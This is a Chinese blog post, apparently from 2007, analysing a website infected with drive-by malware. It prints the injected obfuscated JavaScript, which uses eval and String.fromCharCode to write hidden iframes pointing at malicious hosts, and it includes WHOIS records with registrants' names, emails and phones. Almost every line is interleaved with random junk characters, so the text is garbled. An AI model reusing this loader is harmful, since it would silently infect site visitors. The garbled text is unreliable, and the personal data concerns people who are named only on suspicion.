首发在我的博客里面，
` [[
A 7 .DI Hd/wA http://www.areway.cn/?p=175 Xq,{)G%9nM h2K1|PUKl[ gy,B+~p 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
qJUu9[3'm (7&[!PS <script>t=’60,105,102,114,97,109,101,
%5$yz| : 32,115,114,99,61,104,116,116,112,58,47,47,
8q}`4wCD$ 102,114,101,101,46,117,45,117,117,117,46,99,
<{:$ ]3 110,47,101,114,114,111,114,46,104,116,109,
& Z *&& 32,119,105,100,116,104,61,49,48,48,32,104,
, En
D3
| 101,105,103,104,116,61,48,62,60,47,105,102,
{- tCLkE
3 114,97,109,101,62′;
|G!-FmIK t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
L~CwL |Kh#\d <script>t=’60,105,102,114,97,109,101,32,115,
`UGHk*DL) 114,99,61,104,116,116,112,58,47,47,102,114,
pb6z)8 101,101,46,117,45,117,117,117,46,99,110,47,
%E,s*=j 101,114,114,111,114,46,104,116,109,32,119,
@/yef3 105,100,116,104,61,49,48,48,32,104,101,105,
[iB`- dE, 103,104,116,61,48,62,60,47,105,102,114,97,
67%o83\ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
+Z #lf document.write(t);</script>
89?AcZ.D ?HAWw'QW <html xmlns=”
|'Z6M];8t http://www.w3.org/1999/xhtml n:x6bPal] “>
Nq Ve{+1x <head>
m<hR
Lo <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
/a(xUm @. <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
/5EM;Mx <title>首页 - 爱生活家庭网
Z[[ @O QzCu$ [ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
ze{ 转换字符串后的大概内容是（谁点击后果自付）：
9g|o17 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
tFO86 !ln ku&IVr% 查询玉米u-uuu.cn的详细信息：
Ws{ 2+G~ Domain Name: u-uuu.cn
aU4v-9@U8 ROID: 20070901s10001s64972306-cn
2y`rS
_2 Domain Status: ok
lt`#or"o Registrant Organization: 王雷
BMgiXdv.B Registrant Name: 王雷
*&^`Uk,[ Administrative Email:
czlovexs@126.com $x)C_WZj? Sponsoring Registrar: 北京万网志成科技有限公司
v= RQ"iv8 Name Server:ns.yovole.com
^ dM,K
p Name Server:ns1.yovole.com
zkA"2dh Registration Date: 2007-09-01 17:54
;n?H/(6X8> Expiration Date: 2008-09-01 17:54
z%<Z#5_N 最后PING了一下地址 都没有什么….
$& OoxC ag+$qU 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
oEG e y8? <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
gR
)xw) ! <script language=”javascript” src=”
~kj1L@gy http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script W4Tuc:X5 >
t n>$5}^; 这个玉米应该有可能是木马作者的：
4U( W~O foafau.info的详细信息：
UMuRB>ey Access to INFO WHOIS information is provided to assist persons in
0L9z[2sj determining the contents of a domain name registration record in the
hW P$U Afilias registry database. The data in this record is provided by
k}(C.`. Afilias Limited for informational purposes only, and Afilias does not
6av]L Y K guarantee its accuracy. This service is intended only for query-based
:} i
#ODJ access. You agree that you will use this data only for lawful purposes
n3SCiSr and that, under no circumstances will you use this data to: (a) allow,
%ZDo;l+<F6 enable, or otherwise support the transmission by e-mail, telephone, or
F]:@?}8R facsimile of mass unsolicited, commercial advertising or solicitations
Ml@,xJ/aia to entities other than the data recipient’s own existing customers; or
{ =pRU_-^ (b) enable high volume, automated, electronic processes that send
_e
E(P1 queries or data to the systems of Registry Operator, a Registrar, or
xxpvVb)mF Afilias except as reasonably necessary to register domain names or
)S]4
Kt_ modify existing registrations. All rights reserved. Afilias reserves
z^;*&J
the right to modify these terms at any time. By submitting this query,
A'^y+42jY you agree to abide by this policy.
&!x!j ,nT Domain ID:D22418703-LRMS
*fQ $ s Domain Name:FOAFAU.INFO
IV] s! Created On:20-Nov-2007 16:05:42 UTC
E Z15 Last Updated On:20-Nov-2007 16:05:44 UTC
RP?UKOc Expiration Date:20-Nov-2008 16:05:42 UTC
S:"R/EE( Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
p(-f $Q( Status:CLIENT DELETE PROHIBITED
IxNY%&* ` Status:CLIENT RENEW PROHIBITED
n}Pz: Status:CLIENT TRANSFER PROHIBITED
h&|q> M3 Status:CLIENT UPDATE PROHIBITED
@ )owj^sA Status:TRANSFER PROHIBITED
2K 0HN Registrant ID:GODA-040110615
]@wee 08 Registrant Name:liu hong
6`Zx\bPDm Registrant Organization:
;5urIYd Registrant Street1:beijing
xXp$Nm] : Registrant Street2:
)u ) ]#z Registrant Street3:
jq#uBU % Registrant City:beijing
i"V2=jTeBv Registrant State/Province:
@F%H 1 Registrant Postal Code:100000
X458%)G!(K Registrant Country:CN
cOkjeHs
5 Registrant Phone:+86.860108888777
%eW[`uyV Registrant Phone Ext.:
A2LqBirkl Registrant FAX:
,1J+3ugp& Registrant FAX Ext.:
vN' Y);$ Registrant Email:bbbshiji@163.com
?0QoY A@.$ Admin ID:GODA-240110615
wcD Hx#~ Admin Name:liu hong
)`<-
c2 Admin Organization:
)L fXb9} Admin Street1:beijing
%%5K%z,R# Admin Street2:
+ o^b , ! Admin Street3:
A2.[P== Admin City:beijing
g). k+ Admin State/Province:
Lx6C f R Admin Postal Code:100000
p^S]O\;M7 Admin Country:CN
A 14} Admin Phone:+86.860108888777
Hyx%F N= Admin Phone Ext.:
&.~Xl:lq Admin FAX:
s4h3mypw Admin FAX Ext.:
UlF=,0P Admin Email:bbbshiji@163.com
}A)>sQ Billing ID:GODA-340110615
= iF} 41a
Billing Name:liu hong
[+dOgyK Billing Organization:
v,qK= ]ty Billing Street1:beijing
DY<Br; Billing Street2:
H uzw> Billing Street3:
Q%:#xG5AmE Billing City:beijing
8JvF4' zx Billing State/Province:
H~y 7o_tg Billing Postal Code:100000
s"G;rcS}# Billing Country:CN
l;_zXN Billing Phone:+86.860108888777
^wDZg` Billing Phone Ext.:
$w!; ~s Billing FAX:
AT.WXP0$A Billing FAX Ext.:
N&ZIsaK,j Billing Email:bbbshiji@163.com
iF:`rIC Tech ID:GODA-140110615
BCN<l +u Tech Name:liu hong
QJ1_LJ4)a Tech Organization:
|_7 nvck Tech Street1:beijing
iX
;E"ov] Tech Street2:
Eo)w f=rE9 Tech Street3:
2' fg Tech City:beijing
rWk4)+Tk Tech State/Province:
@w:6m&KL9 Tech Postal Code:100000
@ChEkTn Tech Country:CN
d9@!se9&Z Tech Phone:+86.860108888777
K& /
rzs- Tech Phone Ext.:
U)mg]o -VE Tech FAX:
=<~/ U? Tech FAX Ext.:
`}uOl C]I Tech Email:bbbshiji@163.com
,#;%ILF4% Name Server:NS27.DOMAINCONTROL.COM
2Hl tgt, Name Server:NS28.DOMAINCONTROL.COM
e]N?{s
Name Server:
G;r-f63N Name Server:
} ti+tM* Name Server:
pi`sx[T@{Z Name Server:
qgTN %%"~ Name Server:
eLC}h % Name Server:
2x3'm Name Server:
OFS` ?> Name Server:
]u~6 fknm Name Server:
h ]'VAt Name Server:
CH
h] v.V Name Server:
Ga
o(3Y /y2 upu*! 接着下载每个文件里面的代码：
sA6Ku(9 一步一步看..
\g|u|Y.2[ 
;-Bi~XD 
jTjGbC]X 
TM_ MJp 
.^]=h#[e 
M+R xt.~6 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
